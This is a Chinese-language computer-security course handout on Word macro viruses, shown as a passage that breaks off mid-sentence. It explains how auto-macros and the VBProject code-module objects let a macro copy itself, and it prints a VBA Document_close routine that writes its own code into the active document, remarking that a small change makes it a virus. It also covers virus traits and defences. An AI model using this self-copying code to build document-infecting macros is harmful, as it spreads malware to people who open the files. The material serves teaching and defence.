计算机安全技术TOOLS教程课件宏病毒介绍防范.docVIP

宏病毒的编制原理 该 病毒是主要利用了微软的宏功能 编制的 病毒，事实上并不仅是 Office中的VBA可以用来写 病毒,任何有文件I/O功能的 SCRIPT都可以,如:ASP中的VBSCRIPT,WINDOWS中的SCRIPT,STAROFFICE中的MACRO,DOS中的 BAT,UNIX中的SHELLSCRIPT等.考虑传播的可能性,以WORD为首位.以下说明WORD中的MacroVirus制作. *AutoMacro这里所说的AutoMacro不只是AutoOpen一类的宏.还包括 DocumentOpen,DocumentClose一类,在执行必要操作时会触发的事件. 病毒触发是要在隐含在正常的操 作中,这些必然执行的宏就是最好的宿主. *访问 病毒体,ActiveDocument 和NormalTemplate要用到的对象MacroContainer:当前Macro所在的 ContainerActiveDocument,NormalTemplate: 顾名思义,不用说了. *访问宏代码的对象(方法)class.VBProject.VBComponents.Item(1).Codemodule(class 为Macro-Container,ActiveDocument,NormalTemplate中的一个),为指向宏的对象. 主要的方法:string Lines(StartLine,Lines) 返回由StartLine开始的Lines行InsertLines Location,Strings 将Strings插入到由Location指定的行以下是一个将MacroContainer的Sub Document_close()写到ActiveDocument的例子,改一下就是个宏 病毒了^_^: Sub Document_close()set m=MacroContainer.VBProject.VBComponents.Item(1).CodeModuleset a=ActiveDocument.VBProject.VBComponents.Item(1).CodeModulefor i=1 to m.CountOfLinesstr=m.Lines(i,1)if str=Sub Document_close() then Exit Fornextj=1Label_01:a.InsertLines j,strif str=End Sub goto Label_02j=j+1i=i+1str=m.Lines(i,1)goto Label_01Label_02:End Sub-- +++++++++++++++++++++++++++++ 宏病毒介绍防范 宏病毒 学习目标 8226;????? 掌握宏病毒概念 8226;????? 掌握宏病毒制作机制 8226;????? 了解宏病毒实例 8226;????? 掌握宏病毒防范方法 8226;????? 掌握宏病毒实验 宏病毒定义 8226;????? 宏病毒是利用系统的开放性专门制作的一个或多个具有病毒特点的宏的集合，这种病毒宏的集合影响到计算机的使用，并能通过文档及模板进行自我复制及传播。 支持宏病毒的应用系统特点 8226;????? 要达到宏病毒传染的目的，系统须具备以下特性： –? ?可以把特定的宏命令代码附加在指定文件上； –? ?可以实现宏命令在不同文件之间的共享和传递；? –? ?可以在未经使用者许可的情况下获取某种控制权。 可支持宏病毒的应用系统 8226;????? Microsoft公司的WORD、EXCEL、Access、PowerPoint、Project、Visio等产品； 8226;????? Inprise公司的Lotus AmiPro字处理软件； 8226;????? 此外，还包括AutoCAD、Corel Draw、PDF等等。 宏病毒的特点 8226;????? 传播极快 8226;????? 制作、变种方便 8226;????? 破坏可能性极大 8226;????? 多平台交叉感染 8226;????? 地域性问题 宏病毒的共性 8226;????? 宏病毒会感染DOC文档文件和DOT模板文件。 8226;????? 打开时激活，通过Normal模板传播。 8226;????? 通过AutoOpen，AutoClose，AutoNew和AutoExit等自动宏获得控制权。 8226;????? 病毒宏中必然含有对文档读写操作的宏指令。 宏病毒的作用机制 8226;????? 模板在建立整个文档中所起的作用是作为一个基类。新文档继承模板的属性（包括宏、菜单、格式等）。 822